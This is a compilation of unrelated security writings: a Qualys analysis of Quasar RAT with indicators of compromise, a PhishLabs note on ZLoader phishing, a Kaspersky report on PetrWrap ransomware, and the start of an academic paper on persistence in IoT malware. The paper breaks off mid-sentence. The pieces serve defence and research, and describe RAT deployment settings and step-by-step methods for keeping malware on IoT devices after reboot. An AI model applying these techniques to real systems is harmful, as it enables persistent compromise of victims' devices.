feeds.rapidfeeds[.]com/79167/ - feeds.rapidfeeds[.]com/61594/ Update: our friends from Cymmetria have released their analysis of the Dropping Elephant / Patchwork APT – make sure to check it as well for more data about the attacks.
# Stealthy Quasar Evolving to Lead the RAT Race **By Viren Chaudhari** ## Executive Summary The Qualys Threat Research Team continues to inform enterprise cybersecurity teams of emerging threats that could impact their business. These reports summarize individual threat exploits and provide practical recommendations for protecting against them. As a result of our threat intelligence mandate, we have analyzed Quasar RAT, which has been widely leveraged by multiple threat actor groups targeting both government and private organizations in Southeast Asia and other geographies. Quasar RAT (aka: CinaRAT, Yggdrasil) is an open-source remote access trojan (RAT) that has been widely adopted by bad actors due to its powerful techniques. Quasar RAT has been behind multiple attack campaigns by advanced persistent threat (APT) groups, and most recently, a Chinese threat group APT10 was observed using it for targeted attacks. This RAT is written in the C# programming language. Its capabilities include capturing screenshots, recording webcam video, reversing proxy settings, editing registry entries, spying on user actions, keylogging, and stealing passwords. The purposes of this research report are multi-fold: 1. To examine the evolution of the Quasar RAT payload by nation-sponsored threat actor groups. 2. To understand the configuration of Quasar RAT. 3. Technical analysis of the Quasar RAT payload. 4. To present the possible detection opportunities using Qualys Multi-Vector EDR. ## Key Research Findings - Quasar RAT is a full-featured remote administration tool that has been open source since at least 2014. - The .NET executable has its communication encrypted through HTTPS, which uses a TLS1.2 protocol. - Quasar RAT features provide techniques related to persistence, injection, and defense mechanisms. - The RAT has been actively leveraged by various APT groups such as APT10 to achieve its malicious objectives. ## The Evolution of Quasar RAT’s Source Code The timeline for Quasar RAT associated exploits is as follows: **January 2017** Quasar RAT was observed targeting government entities in the Middle East, associated with the Hamas-linked Gaza Cybergang group. **April 2018** PlugX, ChChes, Quasar, and RedLeaves RATs operating as part of Operation Cloud Hopper were observed targeting MSPs in multiple countries worldwide, part of Chinese APT group APT10. **June 2018** Patchwork, an Indian APT group, was observed targeting US-based think tanks, where they would drop and execute Quasar RAT as a final payload. **March 2019** Quasar RAT was observed as part of APT33 operation, attacking at least 50 organizations in Saudi Arabia, the United States, and a range of other countries. **October 2020** APT10 was observed targeting Turkish organizations from various sectors such as telecommunications and finance, using PlugX and Quasar RAT to launch attacks against government and private organizations. **April 2021** Quasar RAT was used as part of the HydroJiin campaign. **February 2022** Kimsuky group was observed spreading the xRAT (Quasar RAT) malware. Tropic Trooper was observed targeting government and transportation sectors using Quasar RAT as a first-state backdoor. Quasar RAT was initially released in 2014 as “xRAT.” In 2015, the developers renamed it “Quasar” to distinguish it from the original program. The RAT first came to light in 2017 when the Gaza Cybergang group used it along with the Downeks downloader. The group introduced an obfuscator and a packer to hide the source code of the RAT and its server. In 2018, Quasar RAT introduced a feature where the .NET wrapper DLL was used to create scheduled tasks on Windows systems. This feature was utilized by the Patchwork APT group while targeting primarily U.S. think tanks. APT10 is known for leveraging Quasar RAT. In 2019, the group modified its version to include the SharpSploit .NET post-exploitation library, which can steal passwords from target machines. ## Quasar RAT Configuration The Quasar RAT framework is available on GitHub and contains all the instructions for creating a client payload. Within the Qualys Research Team’s lab environment, we installed a Quasar RAT server on “the attacker’s” virtual machine and allowed the server to generate the Quasar client payload. We then transferred it to “the victim’s” virtual machine, which had the Qualys Cloud Agent installed along with our Multi-Vector EDR cloud service enabled. ### Basic Settings The customer tag must be edited with relevant details (e.g., Victim01). ### Connection Settings The local IP and port can be configured to initiate a connection with the Quasar RAT Client. ### Installation Settings This gives a facility to decide where the client payload will be dropped during execution, e.g., AppData folder/directory. ### Assembly Settings This section can be used to further obfuscate the payload by updating its properties and assigning it an icon file. ### Monitoring Settings This section provides the Quasar Client with the ability to keylog and hide the log directory. The Quasar RAT client payload is generated in the last step — Client-built.exe — which must be run on the target machine. Generally, attackers will deliver the payload onto the victim’s machine via phishing, remote service exploitation, or some other malware technique. Once the victim executes the .exe file, a remote session is established on the Quasar RAT server. ## Technical Analysis of a Quasar RAT Campaign The malware campaign has been divided into different phases of the attack chain which includes: ### Execution After execution on the victim’s system, the Quasar RAT client payload drops the actual Quasar RAT payload (“mal.exe”) in the directory path: C:\Users\admin\AppData\Roaming\SubDir\ An entry is made at the Quasar RAT server on the attacker’s machine that states the victim’s different parameters such as host name, user privilege, payload version, country, OS, etc. The configuration of Quasar is stored in the Settings object. The configuration can be changed based on the attacker’s preference of encryption key, mutex, directory, etc. The code for the Quasar RAT payload configuration is generated per the configurations set by the attacker. ### Discovery Quasar RAT can discover hardware and software configuration details of the remote victim. The code demonstrates the WindowsPrincipal class, which provides methods to check whether a user exists within Windows user groups, including checking for built-in roles, such as the administrator role. The code analysis also gives details to locate the geolocation of the system by using ip-api.com. In order to get a public IP address, the authors of the Quasar RAT have used the api.ipify.org browser add-on to integrate with the RAT server or any malicious infrastructure, and thereby to hide its private IP. ### Persistence To achieve persistence, Quasar RAT uses two methods: 1. Scheduled tasks—If the Quasar RAT client process has acquired administrator privileges, the client payload will generate a scheduled task via schtasks. 2. Registry keys—If the client process does not have administrator privileges, the scheduled task will only add a registry value. ### Privilege Escalation Quasar RAT client escalates its privileges by launching a command prompt (cmd.exe) as an administrator. The elevated command prompt then relaunches the Quasar RAT client. ### Credential Access Quasar RAT C# program has the capability of stealing credentials from different entities. The stolen data from the target host is saved into a text file — Passwords.txt — by the attacker. The RAT server has the Password Recovery module for stealing credentials. Quasar RAT can steal: - Saved passwords from browsers like Chrome, Microsoft Edge, Opera, Mozilla, etc. - Information from FTP servers such as FileZilla, WinSCP, etc. Quasar RAT also operates as a keylogger. The feature saves logs as HTML files, where each of them contains information about the application in which the input was performed, and a record of the keys pressed. ### Defense Evasion Quasar RAT uses a process hollowing technique that could be determined by analyzing the source code, which had Windows APIs such as WriteProcessMemory, VirtualAlloc, and VirtualProtect included. ### Remote Shell and File Execution Quasar RAT has the capability to create a remote shell to the target host and execute arbitrary commands. Another feature is ‘remote execution’ which can help the attacker to download files to the victim’s machine and then execute them. ### Lateral Movement One of the interesting features of Quasar RAT is its remote desktop. Remote desktop allows the attacker to take control of the host screen. ### Impact: Shutdown/Reboot Systems Quasar RAT can execute commands to shut down, reboot, or hibernate a remote victim machine. ## Quasar RAT Detections With the objective of detecting Quasar RAT techniques, we emulated some of the scenarios associated with the RAT campaigns in our research lab. ### Yara Detection of Quasar RAT The RAT “mal.exe” payload is dropped in the directory path: C:\Users\admin\AppData\Roaming\SubDir\ Qualys Multi-Vector EDR armed with YARA scanning successfully detected the Quasar RAT with a threat score of 9/10. ### Detection of Network Connection Quasar RAT communication can be detected where the RAT’s mal.exe is connecting to multiple IP addresses and port numbers as well as through an uncommon TCP port 4782. ### Detection of Persistence Quasar RAT’s persistence mechanism can be detected where the registry value and data are added under the registry key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ### Detection of Privilege Escalation Qualys Multi-Vector EDR detects and displays the process cmd.exe running with elevation, as well as the process tree where mal.exe is trying to access the cmd.exe process. ### Detection of Modification of System Processes The attacker can kill a particular process using the task manager feature of Quasar RAT. Qualys Multi-Vector EDR detects this activity. ### Detection of File Modification The attacker can edit a particular file on the target host using the file manager feature of Quasar RAT. Qualys Multi-Vector EDR detects this activity. ### Detection of Registry Modification Qualys Multi-Vector EDR detects registry changes when the attacker tries to permanently disable antivirus. ### Detection of Modifications of Network Connections Qualys Multi-Vector EDR detected the termination of connections established by different processes in the target host. ### Detection of Remote Shell Qualys Multi-Vector EDR detects and observes the process tree when the attacker runs any arbitrary command into the target host using remote shell. ### Detection for Remote Execution Qualys Multi-Vector EDR detects and observes the file creation event of files uploaded through remote execution. ### Detection of Shutdown, Reboot, or Standby Qualys Multi-Vector EDR detects Quasar RAT executing commands to shut down, reboot, or hibernate a remote victim’s machine. ## Conclusion The Qualys Research Team has observed that the authors of Quasar RAT have evolved the malware over time, made multiple changes to its communication protocols, and introduced new evasive defense techniques. The Quasar RAT source code is openly accessible, which gives hacker communities an advantage to easily integrate and add new malware features. Hence, they have been using the readily available RAT framework for launching cyber attacks — with little or no modification. ## MITRE ATT&CK Mapping - Command and Scripting Interpreter: Windows Command Shell - T1059.003 - Credentials from Web Browsers - T1555.003 - Encrypted Channel: Symmetric Cryptography - T1573.001 - Ingress Tool Transfer - T1105 - Input Capture: Keylogging - T1056.001 - Modify Registry - T1112 - Remote Services: Remote Desktop Protocol - T1021.001 - Scheduled Task/Job: Scheduled Task - T1053.005 - System Information Discovery - T1082 - Unsecured Credentials: Credentials In Files - T1552.001 - Native API - T1106 - Windows Management Instrumentation - T1047 - Create or Modify System Process: Windows Service - T1543.003 - Obfuscated Files or Information: Software Packing - T1027.002 - Masquerading: Rename System Utilities - T1036.003 - Process Injection: Process Hollowing - T1055.012 - Virtualization/Sandbox Evasion: System Checks - T1497.001 - Process Discovery - T1057 - Software Discovery: Security Software Discovery - T1518.001 - File and Directory Discovery - T1083 - Query Registry - T1012 - Input Capture - T1056 - Screen Capture - T1113 - Data from Local System - T1005 - Standard Non-Application Layer Protocol - T1095 - System Shutdown/Reboot - T1529 - Video Capture - T1125 ## IOCs — Indicator of Compromise for Quasar RAT **MD5 Hashes** - c1362ae0ed61ed13730b5bc423a6b771 - b4bcf7088d6876a5e95b62cee9746139 - 6e0597bbae126c82d19e1ceaea50b75c - 03b88fd80414edeabaaa6bb55d1d09fc - b894ab525964231c3c16feb0f2cbcffa - 6b9112b4ee34e52e53104dbd538e04d3 - 7ffbc50f20e72676a31d318bc8f50483 - 483e02ec373ac4ce5676af185225d035 - 313ae2a853e0f47ef81040dc58247c88 - 7f9ec838f1906b3ac75a52babd2f77d6 - 2c98cc1306c8e50112e907afa22cfc06 - fd4557a540e35948c0ff20f5b717d9bd - c0dc33123fcfe80ba419c1a7fb8e26d3 - af0091faafe64b5d1ecdaf654c6b6282 - 1ce3d7e716ee9635bb0bea1623793e85 - 247d68ff4007bea6865af4783f7b15ab - b45ff49959f07f2465b83ca044d7c345 - a1840646c8050d92c4f5140549711694 - 081b7bc6d5161210dc65068d36a6b87b - 9ffbd9c5f170871b8dd14373a030d2e4 - 58179e91bf9385c939c159f8b8faad17 **Domains** - carlossosrepete.servecounterstrike.com - carsond5.hopto.org **IP Addresses** - 23.216.147.64 ## About Qualys Qualys, Inc. (NASDAQ: QLYS) is a pioneer and leading provider of disruptive cloud-based Security, Compliance, and IT solutions with more than 10,000 subscription customers worldwide, including a majority of the Forbes Global 100 and Fortune 100. Qualys helps organizations streamline and automate their security and compliance solutions onto a single platform for greater agility, better business outcomes, and substantial cost savings. Qualys, Qualys VMDR® and the Qualys logo are proprietary trademarks of Qualys, Inc. All other products or names may be trademarks of their respective companies. For more information, please visit qualys.com.
# Related Insights PhishLabs has observed a spike in malicious emails distributing ZLoader malware. The spike is notably one of the greatest upticks for a single payload observed in a 24-hour period over the past year, and is the first significant sign that another botnet may be stepping up in the aftermath of the Emotet takedown. ## May 2020 – February 2021 ZLoader Activity ZLoader is one of the most frequently reported malware strains since June 2020. This particular campaign uses three legitimate file sharing platforms to distribute attacks: WeTransfer, Google Docs, and box.com. Emails are delivered through a variety of compromised accounts. The payload is delivered via malicious files and download links. ### WeTransfer Example **WeTransfer Sender Address:** [email protected] **WeTransfer Subject Line:** sent you files via WeTransfer **WeTransfer URL:** hxxps://wetransfer[.]com/downloads/52d55eeb42591d9ebbffe5326326858320210218183005/8b80cbbd9c1b8f7695b8de69e995ebee20210218183?utm_campaign=WT_email_tracking&utm_content=general&utm_medium=download_button&utm_source=notify_recipient_email ### WeTransfer Phishing Lure **Additional Lures** **Box.com Phishing Lure** **Google Docs Phishing Lure** ZLoader is a popular banking trojan often purchased for distribution by threat actors through Malware-as-a-Service (MaaS). It is a derivative of the Zeus banking trojan and commonly known for stealing victims’ credentials through web injects. ZLoader is delivered through email phishing and there are indications that it is linked to Ryuk and Egregor ransomware strains. ## Additional Resources **Qbot Payloads Dominate Q1** Qbot payloads targeting enterprises contributed to almost three quarters of all email-based malware since the beginning of 2022. **Qbot, ZLoader Represent 89% of Payload Volume in Q4** Qbot and ZLoader payloads targeting enterprises contributed to almost 89% of email-based malware volume in Q4. **Despite their Simplicity, New Emotet Attacks Forecast Threatening Future** PhishLabs has recently observed attacks targeting enterprises with Emotet payloads for the first time since January, when coordinated efforts by authorities to disrupt operations led this family of threat actors to halt activity.
# PetrWrap: The New Petya-Based Ransomware Used in Targeted Attacks **Authors** Anton Ivanov Fedor Sinitsyn ## Previously Unknown Ransomware Technique UPDATE June 27, 2017: About a new wave of Petya/Petrwrap/NotPetya/exPetr ransomware attacks read: Schroedinger’s Pet(ya). This year we found a new family of ransomware used in targeted attacks against organizations. After penetrating an organization’s network, the threat actors used the PsExec tool to install ransomware on all endpoints and servers in the organization. The next interesting fact about this ransomware is that the threat actors decided to use the well-known Petya ransomware to encrypt user data. As you may know, this family of ransomware has a RaaS model, but the threat actor decided not to use this ability. To get a workable version of the ransomware, the group behind PetrWrap created a special module that patches the original Petya ransomware “on the fly.” This is what makes this new malware so unique. ## Tech Details The PetrWrap Trojan is written in C and compiled in MS Visual Studio. It carries a sample of the Petya ransomware v3 inside its data section and uses Petya to infect the victim’s machine. What’s more, PetrWrap implements its own cryptographic routines and modifies the code of Petya in runtime to control its execution. This allows the criminals behind PetrWrap to hide the fact that they are using Petya during infection. ## Modus Operandi After being launched, PetrWrap delays its execution (sleeps for 5400 seconds = 1.5 hours). After that, it decrypts the main DLL of Petya from its data section and gets ready to call its exported function ZuWQdweafdsg345312. This function normally prepares Petya for further operations and starts the MBR overwrite process. PetrWrap, however, needs to hook a couple of Petya’s functions first, so it replaces the instructions that call Petya’s DllEntryPoint with NOPs (hex bytes 0x90). This prevents Petya from proceeding on its own and allows PetrWrap to make all the necessary computations and preparations before letting it continue. ## Main Function of PetrWrap After that, PetrWrap makes the necessary cryptographic computations, hooks two Petya procedures (which are responsible for the generation of the configuration data, dubbed petya_generate_config, and for the MBR overwrite process, dubbed petya_infect), and then passes the execution to Petya. For more information on what the original Petya was capable of, please see our previous publication. ## Cryptographic Scheme Normally, Petya generates a 16-byte key and uses the Salsa20 cipher to encrypt the MFT of the NTFS partitions found on local drives. To make decryption possible only by its operators, it uses the Elliptic Curve Diffie-Hellman (ECDH) key agreement algorithm with the curve secp192k1, and a public key is embedded into Petya’s body. The criminals behind PetrWrap faced a problem: if they used Petya as is, they would be unable to decrypt the victim’s machine because they would need the Petya operators’ private key. So what they decided to do was to completely replace the ECDH part of Petya with their own independent implementation and use their own private and public keys. PetrWrap implementation uses cryptographic routines from OpenSSL (whereas Petya used the mbedtls library) and proceeds as follows: - The Trojan contains an embedded public key master_pub (which is a point on the curve prime192v1 which is again different from the one chosen by Petya). - During each infection, PetrWrap generates a new pair of session keys ec_session_priv + ec_session_pub. - Computes ecdh_shared_digest = SHA512(ECDH(master_pub, ec_session_priv)). - ‘Intercepts’ the salsa key generated by Petya and encrypts it using ecdh_shared_digest (there are a number of semi-useless manipulations which come down to essentially encrypting the salsa key with AES-256 using different parts of ecdh_shared_digest as the key and IV). - Constructs user_id which is a string representation that contains the encrypted salsa key and the ec_session_pub. - Passes this user_id to Petya, which uses it as if it was its own data (puts it into the configuration for the bootloader to be shown to the user after the PC reboot). ## Hooked Procedures PetrWrap hooks two procedures in Petya which we will call petya_infect and petya_generate_config and replaces them with its own procedures dubbed wrap_infect and wrap_generate_config. **wrap_infect** implements the following functionality: - Saves the salsa key generated by Petya for further use. - Patches the Petya bootloader code and ransom text in order to skip the flashing skull animation and to wipe all mention of Petya in the ransom message. - Passes execution to the original petya_infect procedure. **wrap_generate_config** in turn does the following: - Calls the original petya_generate_config procedure. - Generates the user_id string according to the algorithm described in the previous paragraph. - Replaces Petya’s id string with this newly generated user_id. ## Technical Summary As a result of all the manipulations described above, PetrWrap achieves the following goals: 1. The victim’s machine is locked and the MFT of NTFS partitions is encrypted securely (because Petya v3 which is used in this attack doesn’t have flaws of the earlier versions and implements Salsa20 correctly). 2. The lockscreen doesn’t show the flashing skull animation and doesn’t contain any mentions of Petya, which makes it harder to assess the situation and determine the extent of the caused damage. 3. The developers of PetrWrap didn’t have to write the low-level bootloader code and risk making mistakes similar to the ones observed in earlier versions of Petya. ## Decryption Unfortunately, this family of ransomware uses a strong encryption algorithm, meaning a decryption tool is out of the question. However, victims can try restoring files using third-party tools such as R-Studio. ## Detection Kaspersky products successfully detect this ransomware as Trojan-Ransom.Win32.PetrWrap and PDM:Trojan.Win32.Generic. ## Conclusion Targeted attacks on organizations with the main aim of encrypting data are becoming more popular. The groups using ransomware in their targeted attacks usually try to find vulnerable servers or servers with unprotected RDP access. After penetrating an organization’s network, they use special frameworks like Mimikatz to obtain the necessary credentials for installing ransomware throughout the network. To protect against such attacks, organizations need to keep their server software up to date, use secure passwords for remote access systems, install security solutions on their servers, and use security solutions with behavioral detection components on their endpoints. **Sample MD5** 17c25c8a7c141195ee887de905f33d7b – Trojan-Ransom.Win32.PetrWrap.b - APT - Encryption - Financial malware - Malware Technologies - Petya - RaaS - Ransomware - Targeted attacks **Authors** Anton Ivanov Fedor Sinitsyn
# Persistence in Linux-Based IoT Malware **Calvin Brierley, Jamie Pont, Budi Arief, David J. Barnes, and Julio Hernandez-Castro** School of Computing, University of Kent, Canterbury, England {C.R.Brierley, J.Pont, B.Arief, D.J.Barnes, jch27}@kent.ac.uk ## Abstract The Internet of Things (IoT) is a rapidly growing collection of “smart” devices capable of communicating over the Internet. Being connected to the Internet brings new features and convenience, but it also poses new security threats, such as IoT malware. IoT malware has shown similar growth, making IoT devices highly vulnerable to remote compromise. However, most IoT malware variants do not exhibit the ability to gain persistence, as they typically lose control over the compromised device when the device is restarted. This paper investigates how persistence for various IoT devices can be implemented by attackers, such that they retain control even after the device has been rebooted. Having persistence would make it harder to remove IoT malware. We investigated methods that could be used by an attacker to gain persistence on a variety of IoT devices and compiled the requirements and potential issues faced by these methods, in order to understand how best to combat this future threat. We successfully used these methods to gain persistence on four vulnerable IoT devices with differing designs, features, and architectures. We also identified ways to counter them. This work highlights the enormous risk that persistence poses to potentially billions of IoT devices, and we hope our results and study will encourage manufacturers and developers to consider implementing our proposed countermeasures or create new techniques to combat this nascent threat. **Keywords:** IoT · security · malware · persistence · attack · proof of concept ## 1 Introduction A standard piece of advice typically given to affected users for removing malware from an Internet of Things (IoT) device is to restart it, as most forms of IoT malware lack the ability to maintain persistence. This is because, in general, IoT malware is stored and executed from within temporary filesystems that reside in Random-Access Memory (RAM). As this type of memory is volatile, the stored programs and data are lost when the device loses power, including any changes that the attacker may have made to the filesystem. However, there have been some families of IoT malware that are able to maintain persistence in some form. If persistent IoT malware becomes more prevalent, many IoT devices will not be recoverable at all once they have been infected. Therefore, it is increasingly crucial for IoT developers both to understand their devices’ potential vulnerabilities to persistence and to implement preventative measures to prohibit attackers from exploiting them. These two aims serve as the motivation for our work. ### Contributions The key contributions of this paper are: - We summarise IoT persistence and its role in IoT-based malware. - We explain the challenges currently preventing IoT malware from establishing persistence. - We outline methods that could be used by IoT malware to gain persistence. - Finally, we explore how this will change the approach of IoT malware and how attackers could achieve and use persistence to perform new and previously infeasible attacks, and what can be done to counter this threat. In Section 2, we give some background on Linux malware, IoT-based malware, and persistence. We also highlight previous research and some of the challenges attackers may encounter when attempting to gain persistence on IoT devices. In Section 3, we describe several methods that could be used by attackers to gain persistence on various types of IoT devices, along with their requirements and limitations. In Section 4, we show the results of attempting to gain persistence on four vulnerable IoT devices using these methods. In Section 5, we discuss some potential countermeasures that could be implemented to prevent an attacker from gaining persistence on an IoT device. Finally, Section 6 covers our conclusions and defines some recommended further work. ## 2 Background Various families of malware have increasingly attacked IoT devices. Popular botnets such as Bashlite and Mirai have infected hundreds of thousands of devices and have been responsible for one of the largest DDoS attacks in history. Fortunately, this type of IoT malware is relatively simple to remove. By restarting the device, the malware will be unloaded from volatile memory, removing the infection from the device when it reboots. However, some malware (such as Mirai) often exhibits worm-like behaviour and after hijacking a device, it will scan the Internet for more victims to infect. While users would sometimes restart their devices (either deliberately or coincidentally) and clear the infection, it would not remove the underlying issue. The devices could easily be reinfected, possibly within minutes. Ineffect, this behaviour has led to competitions between botnet authors, each seeking to maximise their share of the limited number of vulnerable IoT devices. Some malware even exhibited security features to remove competing malware. Mirai, for instance, would search for strings present in competing malware, kill any associated running processes, and close any potentially vulnerable services running on specific ports to prevent any further attacks by competitors. However, these changes were not persistent and would be removed when the device was reset. ### 2.1 Persistent IoT Malware IoT malware capable of making persistent changes that secure its presence would be able to maintain control over the device through reboots, both removing the requirement to reinfect the equipment and helping towards keeping competitors at bay. The ability to secure persistence would also allow significant changes to the device to persist after rebooting, allowing for more creative types of malware and attacks, such as ransomware or long-term spyware. This would also provide a means for the malware operator to install additional malicious features, such as modules that can attack other devices on the infected device’s network. Currently, restarting an infected device will remove the majority of IoT malware, but with persistence, the user would have to modify the flash memory of the device to remove the infection. This is something not usually readily available nor practical to an average user. If the malware can also prevent updates or factory resets, specialist equipment or access to a debug/programming interface may be required to clear the infection. This is considered too complicated for most IoT users to perform and may lead to IoT devices being discarded, or worse, knowingly left in an infected state. ### 2.2 Challenges With Gaining Persistence There are two key challenges currently faced by IoT attackers when attempting to gain persistence on IoT devices: - **Read-Only:** IoT devices often have data that is set to read-only for various reasons, such as to prevent accidental modifications by programmer error. This feature may also prevent attackers from making the necessary modifications to gain persistence. - **Variance:** Each device is likely to have different hardware, update mechanisms, software, architecture, and filesystem types. Fortunately for IoT developers, the variation in IoT devices makes it quite difficult for attackers to create a universal method for gaining persistence. However, if an attacker were to develop a method that affects a large number of devices with similar implementation, it could reduce the required time investment immensely, leading to persistent IoT malware becoming more common. ### 2.3 Previous Persistent IoT Malware and Related Work After identifying an increase in the presence of Linux-based malware, researchers analysed 10,548 samples over a year to gain a better understanding of the techniques used by malware authors. They highlighted the quick development and deployment of insecure IoT devices as a potential motive for attackers to target Linux for malware development. As part of this analysis, they found that 21.10% (1,644) of the analysed samples implemented persistence methods. Some of these methods can be applied to IoT devices, but the attacker must be able to modify the filesystem. As mentioned previously, IoT devices often set certain data as read-only, which would prevent these methods from working. Some IoT malware has achieved persistence, but it is less common and typically relies on a device having a writable filesystem, which may reduce its applicability. We examine two examples of persistent IoT malware below. **Torii** is a variant of Mirai that adds several features, most notably the introduction of six techniques to gain persistence. Each technique modifies files on the infected device which are executed as part of the boot process, such as: - `.bashrc`, which is executed whenever an interactive bash session is started; - `initab`, which is used to determine which processes should be run during the Linux boot process at certain runlevels; - `crontab`, which is used to execute files at a certain time or interval. Modifications to these files would allow the attacker to set particular programs or shell scripts to be run when the device boots. **VPNFilter** is a complex IoT malware which affects a large number of routers. It is believed to have been developed by “Fancy Bear”, a Russian-based hacker group. Its modular structure allows many features to be implemented, ranging from man-in-the-middle attacks to SCADA sniffing. Additionally, VPNFilter seems to include a section of code to erase and rewrite Memory Technology Devices (MTDs), which could potentially be used to brick the device by wiping segments of the device’s storage. VPNFilter modifies the `/etc/config/crontab` file, which will run the malware (which has presumably already been written to memory) every 5 minutes, even when the device is rebooted. ## 3 Methods for Gaining Persistence Due to the challenges described in section 2.2, no universal methods to gain persistence on IoT devices have yet been identified. Instead, our approach is to use a collection of methods to gain persistence on certain subsets of IoT devices. We have identified several viable methods that could be used by an attacker to gain persistence on a variety of IoT devices. A summary of these methods can be found in Table 1 and a detailed overview of each is provided in the following subsections. The description of each method includes a list of requirements for its applicability, its feasibility, and any potential issues that may prevent it from working effectively. A malware writer could perform reconnaissance to ascertain which method should be used, or simply attempt each method sequentially until they gain persistence. Some methods could be used in conjunction with others to improve their chances of success. The techniques described assume that the attacker has gained access to the shell (such as via a guessable telnet password) and can run arbitrary commands. Ideally, the attacker should be able to determine the storage capabilities of the device and identify the device model. Many of these techniques also require the identification and modification of filesystems and partitions in flash memory. The `/proc/mtd` file contains the partition definition and a name set by the developer via MTD, which may indicate its purpose. These partitions can be accessed by using the files `/dev/mtdX` or `/dev/mtdblockX` where X is the partition index. The attacker can also find a list of mount points and their filesystem types in the `/proc/mounts` file, or use analytic tools such as Binwalk to identify recognisable file headers and metadata. ### 3.1 Modifying Writable Filesystems When an IoT device has a writable filesystem by default, the attacker should be able to modify the filesystem directly via the shell, allowing them to edit important files that run on startup. **Requirements:** The device must use a writable filesystem (e.g. yaffs2/jffs2). The MTD filesystem partitions must be writable. The attacker must be able to modify the startup scripts. **Feasibility:** This is the simplest method and does not require any additional tools. If the filesystem is writable by default, the attacker can copy their malware to a known location on the device, then modify the startup scripts so that it is executed when the device is rebooted. This is similar to the technique used by VPNFilter and Torii, as described in section 2.1. **Potential Issues:** The attacker must be able to obtain write permissions for the files they are attempting to modify, which is dependent on the privileges held by the exploited application or compromised account used by the attacker. Furthermore, the writable filesystem must store files that can lead to the execution of arbitrary code on startup. Otherwise, while the attacker may be able to store malware permanently, they will not be able to set it to run when the device is booted. Finally, the filesystem may be mounted as read-only, so additional steps may be required to remount it as writable. ### 3.2 Recreating Read-Only Filesystems If the device is using a compressed read-only filesystem, the attacker will not be able to modify its files directly. Instead, the attacker can use specialised tools to recreate the filesystem. **Requirements:** The device must use a compressed read-only filesystem (such as cramfs/squashfs). The attacker must be able to modify the flash partition which contains the read-only filesystem. The attacker must have the required software to recreate the filesystem. **Feasibility:** While it is not possible to modify files within compressed read-only filesystems, it is possible to replace the entire filesystem in flash memory with a modified version. To create a new version of the filesystem the attacker must first obtain the compressed version, which resides in flash memory. Once the attacker has identified the partition that holds the filesystem, they can use the MTD subsystem to read it from flash to a file, which can then be extracted and modified to their requirements. The attacker can then re-pack it in the correct format. For squashfs and cramfs filesystems, this requires using the mksquashfs and mkcramfs utilities respectively. The old version stored in the filesystem partition can then be overwritten via the MTD files in `/dev`. **Potential Issues:** Filesystems can vary significantly, even those of the same format. If the replacement filesystem type is different from what is expected by the device, it might not be interpreted correctly, which will lead to a failure during the boot process. For this approach to be practical, the attacker must match the used filesystem as closely as possible. Read-only filesystems may prove challenging to modify, as it is unlikely that the tools used to build a new filesystem will be included on the exploited device. For device updates, it would be expected that another machine would generate a new filesystem that is then transferred to the device itself. To follow this same philosophy, the attacker would need to copy the filesystem from the infected device to an external computer, then modify it using the required tools. It would then need to be uploaded back to the device for writing. Filesystems are likely to be much larger than the average malware upload, and as they will need to be uploaded to each infected device; this might not scale well if used for a large number of devices. Alternatively, attackers could compile and upload the required tools for use on the devices themselves. However, as there are likely to be many different filesystem types and device architectures, this may be not easy to manage. ### 3.3 Initrd and Initramfs Modification As part of its booting processes, the Linux kernel may utilise an appended initrd or initramfs filesystem. This is an initial filesystem which allows some setup of the device to be performed before mounting the real filesystem. **Requirements:** The device must use an initrd or initramfs filesystem. The attacker must be able to modify the flash partition that contains the kernel. **Feasibility:** First, the attacker must identify the MTD partition that contains the Linux kernel. Once the correct partition has been identified, the attacker must analyse it and determine the offset of the filesystem that is appended to the kernel. After carving out the relevant data, they must save the original kernel and filesystem separately. The attacker can then extract and modify the filesystem to include their required malware. Typically, an initramfs filesystem will be contained in a CPIO archive, which will likely also be compressed, and as such, this may require multiple extraction steps. The extraction process must then be reversed, and the resulting filesystem can then be appended to the original kernel. Finally, this data can be used to overwrite the original kernel flash partition. **Potential Issues:** The kernel may be stored on the flash chip as an image for use with a chosen bootloader. This may require the attacker to take additional steps to recreate the image and maintain compatibility with the bootloader, such as the inclusion of image headers that the bootloader may use to boot from the partition effectively. As with Method B: unless the filesystem modifications are performed locally, large amounts of data may need to be transferred via the Internet, which might not scale well. ### 3.4 “Set Writable Flag” Kernel Module MTD can be used to manage partitions of flash memory. Developers may unset the MTD WRITEABLE flag for partitions that are unlikely to need modification, which may also prevent attackers from making modifications that would allow them to gain persistence. This method allows an attacker to re-enable the MTD WRITEABLE flag from within userspace if the requirements are met. While this method may not allow an attacker to gain persistence on its own, it may allow other methods to circumvent the read-only protections that were put in place by the developers. **Requirements:** The Linux kernel must support loadable modules. Access to a device’s kernel header files or source tree will improve the kernel module’s odds of being compatible. **Feasibility:** The MTD WRITEABLE partition flag can be difficult to modify from userspace at runtime. However, by using a Loadable Kernel Module (LKM), an attacker could force this flag to be set from kernel space. There are existing kernel modules that have been created to implement this. Kernel modules typically need to be compiled against the targeted kernel source to be compatible. This is normally achieved by having access to either the kernel’s headers or source tree. If IoT developers use modified software that falls under the GNU Public License (GPL), they may be required to make the corresponding source code available. The attacker can use this to compile the kernel module for the targeted device. After compiling and uploading the LKM to the target device, the attacker can use the `insmod` utility to insert the module into the kernel. Once inserted, the module is able to set all MTD partitions to be writable, after which the attacker can use one of the other techniques to gain persistence. **Potential Issues:** If the device’s kernel header and source code are unavailable, it may be difficult to compile the LKM such that it remains compatible. However, a defensive IoT tool “HADES-IoT” demonstrated that loadable kernel modules could be compiled with trial and error without the support of the original developer. The developer may be able to prevent this method from being used by configuring the Linux kernel to verify the signature of kernel modules when they are loaded. The attacker will not be able to forge a signature for kernel modules if they do not have access to the developer’s cryptographic keys. ### 3.5 Update Process Exploitation Most devices are expected to receive updates over their lifetime, either to provide new features to users or patches for security issues. However, vulnerable update implementations can potentially be used to attack the device and gain persistence. **Requirements:** The device must implement a vulnerable update function, such that the attacker can forge fake updates. The attacker must be able to access the update function. **Feasibility:** If an attacker gains access to a vulnerable update function, they may be able to provide a false firmware update which is accepted by the device. For example, researchers found vulnerabilities in devices produced by Disney and Netgear, which allowed them to upload modified firmware. An attacker could use these modified updates to include malware and configuration files such that arbitrary code is run each time the device is booted. **Potential Issues:** The requirements for this method are quite niche. It not only requires that the attacker has access to the update process (for which they will likely need to be authorised), but the process itself must also be vulnerable in such a way that the updates are not verified before being implemented. As the update process will differ from device to device, what may work for one is very unlikely to work on another. The attacker will need to reverse engineer the required format of the update for each targeted device’s update process. If the forged update is incorrectly formatted, the update process may be halted, preventing the attacker from gaining persistence. The attacker could attempt to modify the filesystem of an existing firmware file provided by 